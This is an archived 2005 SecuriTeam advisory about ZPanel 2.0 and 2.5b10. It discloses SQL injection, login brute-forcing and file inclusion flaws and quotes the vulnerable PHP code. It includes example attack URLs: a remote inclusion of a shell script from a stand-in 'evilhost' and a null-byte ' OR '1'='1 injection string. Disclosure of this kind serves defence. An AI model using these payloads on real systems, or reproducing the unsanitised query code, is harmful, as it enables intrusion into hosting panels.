The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NEWS] ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 22 Mar 2005 18:16:11 +0200
Subject: [NEWS] ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050323074410.9FC2D57FE@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing
------------------------------------------------------------------------


SUMMARY

" <http://www.thezpanel.com/>; ZPanel is a hosting control interface 
developed for both Windows and Linux hosts."

Successful exploitation of an input validation vulnerability in ZPanel 
scripts allows attackers to execute SQL commands, include remote and local 
files. In addition due to poor coding a remote attacker can easily brute 
force the username / password combination used to protect the product.

DETAILS

Vulnerable Systems:
 * ZPanel version 2.0
 * ZPanel version 2.5b10

SQL Injection:
Non sanitized user input variables are fed directly into the SQL query. 
Making it possible to inject arbitrary SQL statements through the 'uname' 
variable which in turn can be used to bypass the authentication process.

Password Brute Forcing:
An invalid user name or password provided to a remote attacker returns an 
error that can be used to determine which of the provided parameter is 
wrong. As a result we can use a very simple brute force technique.

Vulnerable script: index.php:
if (isset($_POST['uname'])) {
mysql_select_db($database_Customer_Database, $Customer_Database);
$query_TempUser = sprintf("SELECT * FROM customerbase WHERE servicename = 
'".$_POST['uname']."'");

Arbitrary File Inclusion:
It is possible to include an arbitrary file, local in version 2.5b and 
remote in version 2.0:

http://example/zpanel/zpanel.php?page=http://evilhost/shell
Where http://evilhost/shell.php - evil PHP code script.

http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00' OR 
'1'='1

Vulnerable code script: zpanel.php ( v2.5b):
if (isset($_GET['page']) && $_GET['page'] != 'main') {
         $query_Modules = sprintf("SELECT * FROM modules WHERE name =
'".$_GET['page']."'");
         $Modules = mysql_query($query_Modules, $Customer_Database) or
die(mysql_error());
         $row_Modules = mysql_fetch_assoc($Modules);
[...]
                         if ($row_Modules['active'] == '1') {
                                 $body = "modules/" . $_GET['page'] .
"/index.php";


Or

Vulnerable code script: zpanel.php ( v2.0):
if (!isset($_GET['page'])){
         $body = "main.php";
}else{
         $body = $_GET['page'] . ".php";
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:misha@dom.no.> Mik-.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру